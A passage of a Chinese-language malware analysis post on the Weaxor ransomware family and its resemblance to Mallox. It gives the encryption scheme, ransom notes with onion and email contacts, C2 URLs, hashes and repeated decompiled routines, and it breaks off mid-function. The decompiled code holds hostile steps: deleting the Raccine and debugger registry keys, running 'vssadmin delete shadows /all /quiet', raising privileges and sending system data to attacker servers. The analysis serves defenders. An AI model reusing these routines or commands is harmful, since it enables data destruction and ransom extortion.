-
-
[原创]【病毒分析】新崛起的weaxor勒索家族:疑似mallox家族衍生版,深度解析两者关联!
-
发表于: 2024-12-19 16:33 4121
-
Weaxor家族在2024年11月首次现身,该勒索病毒会将“.rox”扩展名附加到受感染文件的名称后,并留下名为“RECOVERY INFO.txt”的勒索信。信中包含了Weaxor家族的暗网地址,受害者可以通过该地址进入一个一对一的聊天界面,其他人无法访问。值得注意的是,暗网地址的首页为空白,这一设计显得格外耐人寻味。
一对一聊天界面
首页
此加密器与mallox家族极其相似,疑似为mallox源码修改之后编译得到,mallox具体分析请参考文章【病毒分析】Mallox勒索家族新版本:加密算法全面解析
相似之处
weaxor url如下:
不同之处
sierting.txt
加密文件名 = 原始文件名+rox ,例如:sierting.txt.rox
如下,在倒数136字节处会有特征字节
文件加密使用了chacha20加密算法和aes-ctr算法(用于加密密钥),其中chacha20的密钥为CryptGenRandom函数生成。aes的key则为cure25519算法生成的共享密钥的sha256生成的,iv则为CryptGenRandom函数生成
如果是以下语言的就不加密
生成四字节随机数
使用梅森旋转算法继续生成密钥
再次生成随机数
将生成的随机数使用sha256计算
内置的公钥如下
利用cure25519生成共享密钥
获取计算机名称
获取用户名
读取操作系统版本名
获取网卡信息
获取系统信息
计算磁盘空间
获取cpu型号
向这个地址发送请求,获取当前外网ip地址
将这些信息写入txt
拼接刚刚获取的信息
如下
生成了一个IP地址 0e0K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3#2)9J5k6e0p5@1x3#2)9J5k6e0q4Q4x3X3f1I4x3K6W2Q4x3V1k6g2K9X3c8#2z5r3A6B7L8$3!0#2k6g2)9J5c8X3u0A6N6$3g2S2P5q4)9J5k6i4m8Z5M7l9`.`.
,并将这些信息发送过去
遍历系统中的所有卷,并尝试将每个未挂载的卷挂载到一个可用的驱动器号(从 C: 到 Z:)上。具体步骤如下:
添加白名单文件
添加白名单文件夹
添加白名单后缀
初始化aes-ctr类
初始化 chacha20密钥
遍历文件,找到文件夹就递归,找到文件就将他添加到全局变量里面
通过文的全局变量获取到文件名,然后再次生成密钥
aes-ctr初始化
同时初始化chacha,其中输入的密钥为刚刚生成的随机数
设置文件偏移指针位置为0
读取文件
设置偏移为末尾
写入aes加密后的密钥
设置偏移写入加密标志
获取文件大小
使用chacha20算法加密
加密完成后重命名文件
它通过判断系统语言来决定是否加密,并在语言符合条件时执行加密。病毒更改电源方案为高性能,删除关键注册表项,禁用备份服务,防止数据恢复。同时,通过提权操作提升系统权限,确保病毒执行成功。密钥生成结合了随机数、梅森旋转算法和SHA256哈希,使用Curve25519生成共享密钥。最后,病毒收集系统信息,包括计算机名称、用户名、操作系统版本、网卡和磁盘空间,用于后续攻击或监控。
http:
/
/
193.106
.
191.141
/
QWEwqdsvsf
/
ap.php
http:
/
/
193.106
.
191.141
/
QWEwqdsvsf
/
ap.php
http:
/
/
193.143
.
1.139
/
Ujdu8jjooue
/
biweax.php
http:
/
/
193.143
.
1.139
/
Ujdu8jjooue
/
biweax.php
文件名 | QcmDAENTDj.exe |
---|---|
编译器 | Microsoft Visual C/C++(16.00) |
大小 | 709 KB |
操作系统 | Windows(Vista)[AMD64, 64位, GUI] |
模式 | 64 位 |
类型 | EXEC |
字节序 | LE |
MD5 | 0d7e80ec85db5cb45642235cb2381a0c |
SHA1 | f0a15a7ecaff7d0659bab2a416e5d668ff67724e |
SHA256 | e21cbdbf6414ffc0ef4175295c7e188800a66b7b83302bd35b7e3fd6fabfccde |
Your data has been encrypted
In order to
return
your files back you need decryption tool
1
)Download TOR Browser
2
)
Open
in
TOR browser link below
and
contact with us there:
http:
/
/
weaxorpemwzoxg5cdvvfd77p3qczkxqii37ww4foo2n4jcftxxxxxx.onion
/
lsaHqOhaJLOyrWSPvtJajdzqrftqzOlt
/
A07319B0F9F18E74D1888C2E58592BA9B205D3D3B42239D4D63CF2968FDC7440
Or email: lazylazy@tuta.com
Backup email:
help
.service@anche.no
Limit
for
free decryption:
3
files up to
5mb
(no database
or
backups)
Your data has been encrypted
In order to
return
your files back you need decryption tool
1
)Download TOR Browser
2
)
Open
in
TOR browser link below
and
contact with us there:
http:
/
/
weaxorpemwzoxg5cdvvfd77p3qczkxqii37ww4foo2n4jcftxxxxxx.onion
/
lsaHqOhaJLOyrWSPvtJajdzqrftqzOlt
/
A07319B0F9F18E74D1888C2E58592BA9B205D3D3B42239D4D63CF2968FDC7440
Or email: lazylazy@tuta.com
Backup email:
help
.service@anche.no
Limit
for
free decryption:
3
files up to
5mb
(no database
or
backups)
病毒家族 | weaxor |
---|---|
首次出现时间/捕获分析时间 | 2024/11 || 2024/12/11 |
威胁类型 | 勒索软件,加密病毒 |
加密文件扩展名 | .rox |
勒索信文件名 | RECOVERY INFO.txt |
有无免费解密器? | 无 |
检测名称 | Avast (Win32:Malware-gen), AhnLab-V3 (Trojan/Win.Generic.C5576951), ALYac (Gen:Variant.Tedy.512515), Avira (no cloud) (TR/Ransom.imrnt), BitDefenderTheta (Gen:NN.ZexaF.36802.yq0@aSdxC8m), CrowdStrike Falcon (Win/malicious_confidence_100% (W)),Cylance(Unsafe),DeepInstinct(MALICIOUS),Emsisoft(Gen:Variant.Tedy.512515 (B)),ESET-NOD32(A Variant Of MSIL/Filecoder.LU),GData(Gen:Variant.Tedy.512515), Ikarus (Trojan.MSIL.Crypt),K7GW(Trojan ( 0052f4e41 )) |
感染症状 | 无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.rox)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。 |
感染方式 | 受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接 |
受灾影响 | 所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。 |
Your data has been encrypted
In order to
return
your files back you need decryption tool
1)Download TOR Browser
2)Open in TOR browser link below and contact with us there:
http:
//weaxorpemwzoxg5cdvvfd77p3qczkxqii37ww4foo2n4jcft3mxxxxxx.onion/lsaHqOhaJLOyrWSPvtJajdzqrftqzOlt/B8953D4C242BDFA012F88510DF9ABC5B5A606C6E31703F4D670603FF8D971E4C
Or email: lazylazy@tuta.com
Backup email: help.service@anche.no
Limit
for
free
decryption: 3 files up to 5mb (no database or backups)
Your data has been encrypted
In order to
return
your files back you need decryption tool
1)Download TOR Browser
2)Open in TOR browser link below and contact with us there:
http:
//weaxorpemwzoxg5cdvvfd77p3qczkxqii37ww4foo2n4jcft3mxxxxxx.onion/lsaHqOhaJLOyrWSPvtJajdzqrftqzOlt/B8953D4C242BDFA012F88510DF9ABC5B5A606C6E31703F4D670603FF8D971E4C
Or email: lazylazy@tuta.com
Backup email: help.service@anche.no
Limit
for
free
decryption: 3 files up to 5mb (no database or backups)
bool
sub_7FF7C71326D0()
{
LANGID
UserDefaultLangID;
// ax
int
v2[2];
// [rsp+20h] [rbp-28h] BYREF
__int16
v3;
// [rsp+28h] [rbp-20h]
char
v4[6];
// [rsp+2Ah] [rbp-1Eh] BYREF
v2[0] = 0x43F0419;
v3 = 0x444;
v2[1] = 0x4220423;
UserDefaultLangID = GetUserDefaultLangID();
return
sub_7FF7C7140300(v2, v4, UserDefaultLangID) != v4;
}
bool
sub_7FF7C71326D0()
{
LANGID
UserDefaultLangID;
// ax
int
v2[2];
// [rsp+20h] [rbp-28h] BYREF
__int16
v3;
// [rsp+28h] [rbp-20h]
char
v4[6];
// [rsp+2Ah] [rbp-1Eh] BYREF
v2[0] = 0x43F0419;
v3 = 0x444;
v2[1] = 0x4220423;
UserDefaultLangID = GetUserDefaultLangID();
return
sub_7FF7C7140300(v2, v4, UserDefaultLangID) != v4;
}
419 俄语
423 白俄罗斯语
422 乌克兰语
444 土库曼语
43f 哈萨克语
419 俄语
423 白俄罗斯语
422 乌克兰语
444 土库曼语
43f 哈萨克语
LibraryW = LoadLibraryW(L
"PowrProf.dll"
);
if
( LibraryW )
{
PowerSetActiveScheme = GetProcAddress(LibraryW,
"PowerSetActiveScheme"
);
if
( PowerSetActiveScheme )
(PowerSetActiveScheme)(0i64, &byte_7FF7C719A960);
}
LibraryW = LoadLibraryW(L
"PowrProf.dll"
);
if
( LibraryW )
{
PowerSetActiveScheme = GetProcAddress(LibraryW,
"PowerSetActiveScheme"
);
if
( PowerSetActiveScheme )
(PowerSetActiveScheme)(0i64, &byte_7FF7C719A960);
}
SHDeleteKeyW(HKEY_CURRENT_USER, L
"SOFTWARE\\Raccine"
);
SHDeleteKeyW(HKEY_LOCAL_MACHINE, L
"SOFTWARE\\Raccine"
);
SHDeleteKeyW(HKEY_LOCAL_MACHINE, L
"SYSTEM\\CurrentControlSet\\Services\\EventLog\\Application\\Raccine"
);
//关闭事件服务
SHDeleteKeyW(
HKEY_LOCAL_MACHINE,
L
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\vssadmin.exe"
);
SHDeleteKeyW(
HKEY_LOCAL_MACHINE,
L
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\wmic.exe"
);
SHDeleteKeyW(
HKEY_LOCAL_MACHINE,
L
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\wbadmin.exe"
);
SHDeleteKeyW(
HKEY_LOCAL_MACHINE,
L
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\bcdedit.exe"
);
SHDeleteKeyW(
HKEY_LOCAL_MACHINE,
L
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\powershell.exe"
);
SHDeleteKeyW(
HKEY_LOCAL_MACHINE,
L
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\diskshadow.exe"
);
SHDeleteKeyW(
HKEY_LOCAL_MACHINE,
L
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\net.exe"
);
SHDeleteKeyW(
HKEY_LOCAL_MACHINE,
L
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\taskkill.exe"
);
//关闭系统自带的部分应用
result = GetWindowsDirectoryW(Buffer, 0x104u);
if
( result )
{
lstrcatW(Buffer, L
"\\sysnative\\vssadmin.exe"
);
lstrcpyW(String1, L
" delete shadows /all /quiet"
);
return
(unsigned
int
)ShellExecuteW(0LL, L
"open"
, Buffer, String1, 0LL, 0);
//调用shell删除备份
}
return
result;
}
SHDeleteKeyW(HKEY_CURRENT_USER, L
"SOFTWARE\\Raccine"
);
SHDeleteKeyW(HKEY_LOCAL_MACHINE, L
"SOFTWARE\\Raccine"
);
SHDeleteKeyW(HKEY_LOCAL_MACHINE, L
"SYSTEM\\CurrentControlSet\\Services\\EventLog\\Application\\Raccine"
);
//关闭事件服务
SHDeleteKeyW(
HKEY_LOCAL_MACHINE,
L
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\vssadmin.exe"
);
SHDeleteKeyW(
HKEY_LOCAL_MACHINE,
L
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\wmic.exe"
);
SHDeleteKeyW(
HKEY_LOCAL_MACHINE,
L
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\wbadmin.exe"
);
SHDeleteKeyW(
HKEY_LOCAL_MACHINE,
L
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\bcdedit.exe"
);
SHDeleteKeyW(
HKEY_LOCAL_MACHINE,
L
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\powershell.exe"
);
SHDeleteKeyW(
HKEY_LOCAL_MACHINE,
L
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\diskshadow.exe"
);
SHDeleteKeyW(
HKEY_LOCAL_MACHINE,
L
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\net.exe"
);
SHDeleteKeyW(
HKEY_LOCAL_MACHINE,
L
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\taskkill.exe"
);
//关闭系统自带的部分应用
result = GetWindowsDirectoryW(Buffer, 0x104u);
if
( result )
{
lstrcatW(Buffer, L
"\\sysnative\\vssadmin.exe"
);
lstrcpyW(String1, L
" delete shadows /all /quiet"
);
return
(unsigned
int
)ShellExecuteW(0LL, L
"open"
, Buffer, String1, 0LL, 0);
//调用shell删除备份
}
return
result;
}
BOOL
__fastcall sub_7FF7C7132610(
LPCWSTR
lpName)
{
HANDLE
CurrentThread;
// rax
HANDLE
CurrentProcess;
// rax
BOOL
result;
// eax
HANDLE
TokenHandle;
// [rsp+30h] [rbp-28h] BYREF
struct
_TOKEN_PRIVILEGES NewState;
// [rsp+38h] [rbp-20h] BYREF
CurrentThread = GetCurrentThread();
if
( OpenThreadToken(CurrentThread, 0x20u, 0, &TokenHandle)
|| (CurrentProcess = GetCurrentProcess(), result = OpenProcessToken(CurrentProcess, 0x20u, &TokenHandle)) )
{
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Attributes = 2;
if
( LookupPrivilegeValueW(0i64, lpName, &NewState.Privileges[0].Luid) )
AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0, 0i64, 0i64);
return
CloseHandle(TokenHandle);
}
return
result;
}
BOOL
__fastcall sub_7FF7C7132610(
LPCWSTR
lpName)
{
HANDLE
CurrentThread;
// rax
HANDLE
CurrentProcess;
// rax
BOOL
result;
// eax
HANDLE
TokenHandle;
// [rsp+30h] [rbp-28h] BYREF
struct
_TOKEN_PRIVILEGES NewState;
// [rsp+38h] [rbp-20h] BYREF
CurrentThread = GetCurrentThread();
if
( OpenThreadToken(CurrentThread, 0x20u, 0, &TokenHandle)
|| (CurrentProcess = GetCurrentProcess(), result = OpenProcessToken(CurrentProcess, 0x20u, &TokenHandle)) )
{
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Attributes = 2;
if
( LookupPrivilegeValueW(0i64, lpName, &NewState.Privileges[0].Luid) )
AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0, 0i64, 0i64);
return
CloseHandle(TokenHandle);
}
return
result;
}
PerformanceCount[0].QuadPart = 0i64;
QueryPerformanceCounter(PerformanceCount);
TickCount = GetTickCount();
v12 = GetCurrentThreadId() * TickCount;
v13 = v12 * GetCurrentProcessId();
v14 = __rdtsc();
pbBuffer[0] = PerformanceCount[0].LowPart * v13 * v14;
if
( (CryptAcquireContextW(phProv, 0i64, 0i64, 1u, 0)
|| GetLastError() == 0x80090016 && CryptAcquireContextW(phProv, 0i64, 0i64, 1u, 8u))
&& CryptGenRandom(phProv[0], 4u, pbBuffer) )
{
CryptReleaseContext(phProv[0], 0);
}
PerformanceCount[0].QuadPart = 0i64;
QueryPerformanceCounter(PerformanceCount);
TickCount = GetTickCount();
v12 = GetCurrentThreadId() * TickCount;
v13 = v12 * GetCurrentProcessId();
v14 = __rdtsc();
pbBuffer[0] = PerformanceCount[0].LowPart * v13 * v14;
if
( (CryptAcquireContextW(phProv, 0i64, 0i64, 1u, 0)
|| GetLastError() == 0x80090016 && CryptAcquireContextW(phProv, 0i64, 0i64, 1u, 8u))
&& CryptGenRandom(phProv[0], 4u, pbBuffer) )
{
CryptReleaseContext(phProv[0], 0);
}
__int64
__fastcall sub_7FF7C71376E0(
int
a1)
{
__int64
result;
// rax
int
v2;
// r8d
int
v3;
// r9d
int
v4;
// ecx
int
v5;
// r10d
int
v6;
// edx
LODWORD(result) = 1;
dword_7FF7C71BBD10[0] = a1;
v2 = 1;
v3 = 1;
v4 = 1;
v5 = 1;
do
{
v6 = result + 1812433253 * (dword_7FF7C71BBD10[v4 - 1] ^ (dword_7FF7C71BBD10[v4 - 1] >> 30));
dword_7FF7C71BBD10[v2] = v6;
dword_7FF7C71BBD10[v5] = v6;
result = (v3 + 1);
dword_7FF7C71BC6D0 = result;
v4 = v3 + 1;
v2 = ++v3;
v5 = result;
}
while
( result < 624 );
return
result;
}
__int64
__fastcall sub_7FF7C71376E0(
int
a1)
{
__int64
result;
// rax
int
v2;
// r8d
int
v3;
// r9d
int
v4;
// ecx
int
v5;
// r10d
int
v6;
// edx
LODWORD(result) = 1;
dword_7FF7C71BBD10[0] = a1;
v2 = 1;
v3 = 1;
v4 = 1;
v5 = 1;
do
{
v6 = result + 1812433253 * (dword_7FF7C71BBD10[v4 - 1] ^ (dword_7FF7C71BBD10[v4 - 1] >> 30));
dword_7FF7C71BBD10[v2] = v6;
dword_7FF7C71BBD10[v5] = v6;
result = (v3 + 1);
dword_7FF7C71BC6D0 = result;
v4 = v3 + 1;
v2 = ++v3;
v5 = result;
}
while
( result < 624 );
return
result;
}
bool
__fastcall sub_7FF7C712D5C0(NTSTATUS *a1,
UCHAR
*a2,
signed
int
a3)
{
NTSTATUS v4;
// eax
if
( a3 < 1 )
return
0;
v4 = BCryptGenRandom(0i64, a2, a3, 2u);
*a1 = v4;
return
v4 >= 0;
}
bool
__fastcall sub_7FF7C712D5C0(NTSTATUS *a1,
UCHAR
*a2,
signed
int
a3)
{
NTSTATUS v4;
// eax
if
( a3 < 1 )
return
0;
v4 = BCryptGenRandom(0i64, a2, a3, 2u);
*a1 = v4;
return
v4 >= 0;
}
if
( !qword_7FF7C71C4388 )
{
v10 = 0i64;
LogicalDrives = GetLogicalDrives();
for
( i = 65; i <= 90; ++i )
{
if
( (LogicalDrives & 1) != 0 )
{
*pszDest = 0;
wnsprintfA(pszDest, 4,
"%c:\\"
, i);
TotalNumberOfFreeBytes.QuadPart = 0i64;
TotalNumberOfBytes.QuadPart = 0i64;
GetDiskFreeSpaceExA(pszDest, 0i64, &TotalNumberOfBytes, &TotalNumberOfFreeBytes);
v10 += TotalNumberOfBytes.QuadPart - TotalNumberOfFreeBytes.QuadPart;
}
LogicalDrives >>= 1;
}
v9 = v10 >> 30;
qword_7FF7C71C4388 = v9;
}
if
( !qword_7FF7C71C4388 )
{
v10 = 0i64;
LogicalDrives = GetLogicalDrives();
for
( i = 65; i <= 90; ++i )
{
if
( (LogicalDrives & 1) != 0 )
{
*pszDest = 0;
wnsprintfA(pszDest, 4,
"%c:\\"
, i);
TotalNumberOfFreeBytes.QuadPart = 0i64;
TotalNumberOfBytes.QuadPart = 0i64;
GetDiskFreeSpaceExA(pszDest, 0i64, &TotalNumberOfBytes, &TotalNumberOfFreeBytes);
v10 += TotalNumberOfBytes.QuadPart - TotalNumberOfFreeBytes.QuadPart;
}
LogicalDrives >>= 1;
}
v9 = v10 >> 30;
qword_7FF7C71C4388 = v9;
}
__m128i *__fastcall sub_7FF7C712ACB0(__m128i *a1)
{
unsigned
__int64
v2;
// r8
DWORD
cbData[2];
// [rsp+30h] [rbp-208h] BYREF
HKEY
hKey[3];
// [rsp+38h] [rbp-200h] BYREF
__m128i Data;
// [rsp+50h] [rbp-1E8h] BYREF
hKey[1] = a1;
*a1 = 0i64;
a1[1].m128i_i64[0] = 7i64;
a1[1].m128i_i64[1] = 15i64;
a1->m128i_i32[0] = 1852534389;
a1->m128i_i16[2] = 30575;
a1->m128i_i8[6] = 110;
a1->m128i_i8[7] = 0;
cbData[1] = 1;
if
( !RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"
, 0, 0x20019u, hKey) )
{
cbData[0] = 456;
if
( !RegQueryValueExA(hKey[0],
"ProcessorNameString"
, 0i64, 0i64, &Data, cbData) && cbData[0] )
{
if
( cbData[0] >= 0x1C9ui64 )
sub_7FF7C7163C6C();
Data.m128i_i8[cbData[0]] = 0;
v2 = -1i64;
do
++v2;
while
( Data.m128i_i8[v2] );
sub_7FF7C7126050(a1, &Data, v2);
}
RegCloseKey(hKey[0]);
}
return
a1;
}
__m128i *__fastcall sub_7FF7C712ACB0(__m128i *a1)
{
unsigned
__int64
v2;
// r8
DWORD
cbData[2];
// [rsp+30h] [rbp-208h] BYREF
HKEY
hKey[3];
// [rsp+38h] [rbp-200h] BYREF
__m128i Data;
// [rsp+50h] [rbp-1E8h] BYREF
hKey[1] = a1;
*a1 = 0i64;
a1[1].m128i_i64[0] = 7i64;
a1[1].m128i_i64[1] = 15i64;
a1->m128i_i32[0] = 1852534389;
a1->m128i_i16[2] = 30575;
a1->m128i_i8[6] = 110;
a1->m128i_i8[7] = 0;
cbData[1] = 1;
if
( !RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"
, 0, 0x20019u, hKey) )
{
cbData[0] = 456;
if
( !RegQueryValueExA(hKey[0],
"ProcessorNameString"
, 0i64, 0i64, &Data, cbData) && cbData[0] )
{
if
( cbData[0] >= 0x1C9ui64 )
sub_7FF7C7163C6C();
Data.m128i_i8[cbData[0]] = 0;
v2 = -1i64;
do
++v2;
while
( Data.m128i_i8[v2] );
sub_7FF7C7126050(a1, &Data, v2);
}
RegCloseKey(hKey[0]);
}
return
a1;
}
int
sub_7FF7C7131220()
{
HANDLE
FirstVolumeW;
// rax
void
*v1;
// rsi
WCHAR
i;
// bx
BOOL
NextVolumeW;
// edi
WCHAR
j;
// bx
DWORD
cchReturnLength;
// [rsp+20h] [rbp-E0h] BYREF
WCHAR
szVolumeMountPoint;
// [rsp+28h] [rbp-D8h] BYREF
int
v8;
// [rsp+2Ah] [rbp-D6h]
__int16
v9;
// [rsp+2Eh] [rbp-D2h]
WCHAR
szVolumeName;
// [rsp+30h] [rbp-D0h] BYREF
__m128i v11[32];
// [rsp+32h] [rbp-CEh] BYREF
__m128i szVolumePathNames[33];
// [rsp+240h] [rbp+140h] BYREF
szVolumeName = 0;
sub_7FF7C718EC80(v11, 0, 0x206ui64);
FirstVolumeW = FindFirstVolumeW(&szVolumeName, 0x104u);
v1 = FirstVolumeW;
if
( FirstVolumeW != -1i64 )
{
sub_7FF7C718EC80(szVolumePathNames, 0, 0x208ui64);
cchReturnLength = 0;
GetVolumePathNamesForVolumeNameW(&szVolumeName, szVolumePathNames, 0x104u, &cchReturnLength);
if
( cchReturnLength == 1 )
{
for
( i = 67; i <= 0x5Au; ++i )
{
szVolumeMountPoint = i;
v8 = 6029370;
v9 = 0;
if
( SetVolumeMountPointW(&szVolumeMountPoint, &szVolumeName) )
break
;
}
}
do
{
NextVolumeW = FindNextVolumeW(v1, &szVolumeName, 0x104u);
LODWORD(FirstVolumeW) = GetVolumePathNamesForVolumeNameW(
&szVolumeName,
szVolumePathNames,
0x104u,
&cchReturnLength);
if
( FirstVolumeW && cchReturnLength == 1 )
{
for
( j = 67; j <= 0x5Au; ++j )
{
szVolumeMountPoint = j;
v8 = 6029370;
v9 = 0;
LODWORD(FirstVolumeW) = SetVolumeMountPointW(&szVolumeMountPoint, &szVolumeName);
if
( FirstVolumeW )
break
;
}
}
}
while
( NextVolumeW );
}
return
FirstVolumeW;
}
int
sub_7FF7C7131220()
{
HANDLE
FirstVolumeW;
// rax
void
*v1;
// rsi
WCHAR
i;
// bx
BOOL
NextVolumeW;
// edi
WCHAR
j;
// bx
DWORD
cchReturnLength;
// [rsp+20h] [rbp-E0h] BYREF
WCHAR
szVolumeMountPoint;
// [rsp+28h] [rbp-D8h] BYREF
int
v8;
// [rsp+2Ah] [rbp-D6h]
__int16
v9;
// [rsp+2Eh] [rbp-D2h]
WCHAR
szVolumeName;
// [rsp+30h] [rbp-D0h] BYREF
__m128i v11[32];
// [rsp+32h] [rbp-CEh] BYREF